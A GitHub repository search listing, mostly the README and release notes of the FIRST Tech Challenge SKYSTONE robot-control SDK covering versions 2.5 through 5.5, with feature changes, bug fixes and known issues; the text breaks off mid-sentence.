Found 1,605 repositories(showing 30)
Zane96
Android system log viewer on Android phone without root.
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying 